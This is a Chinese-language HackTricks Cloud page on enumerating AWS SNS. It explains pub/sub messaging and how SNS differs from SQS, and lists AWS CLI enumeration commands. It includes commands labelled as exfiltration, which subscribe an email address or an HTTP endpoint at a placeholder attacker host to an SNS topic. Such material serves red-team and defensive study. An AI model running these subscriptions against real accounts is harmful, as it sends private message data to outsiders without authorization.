AWS - SNS Enum
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
SNS
Amazon Simple Notification Service (Amazon SNS) 被描述为一个 完全托管的消息服务。它支持 应用程序到应用程序 (A2A) 和 应用程序到个人 (A2P) 的通信类型。
A2A 通信的关键特性包括 发布/订阅 (pub/sub) 机制。这些机制引入了 主题,对于实现高吞吐量的 推送式、多对多消息传递 至关重要。此功能在涉及分布式系统、微服务和事件驱动的无服务器架构的场景中非常有利。通过利用这些主题,发布系统可以有效地将消息分发到 广泛的订阅系统,促进扇出消息模式。
与 SQS 的区别
SQS 是一个 基于队列 的服务,允许点对点通信,确保消息由 单个消费者 处理。它提供 至少一次交付,支持标准和 FIFO 队列,并允许消息保留以进行重试和延迟处理。
另一方面,SNS 是一个 基于发布/订阅 的服务,通过同时向 多个订阅者 广播消息来实现 一对多 的通信。它支持 各种订阅端点,如电子邮件、短信、Lambda 函数和 HTTP/HTTPS,并提供针对性消息传递的过滤机制。
虽然这两项服务都能实现分布式系统中组件之间的解耦,但 SQS 侧重于排队通信,而 SNS 强调事件驱动的扇出通信模式。
枚举
# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>
# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt
# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com
# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
Caution
注意,如果主题是 FIFO 类型,则只能使用使用协议 SQS 的订阅者(不能使用 HTTP 或 HTTPS)。
此外,即使
--topic-arn包含区域,也请确保在--region中指定正确的区域,否则您将收到一个错误,表明您没有访问权限,但问题实际上是区域。
未经身份验证的访问
AWS - SNS Unauthenticated Enum
权限提升
后期利用
持久性
参考
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

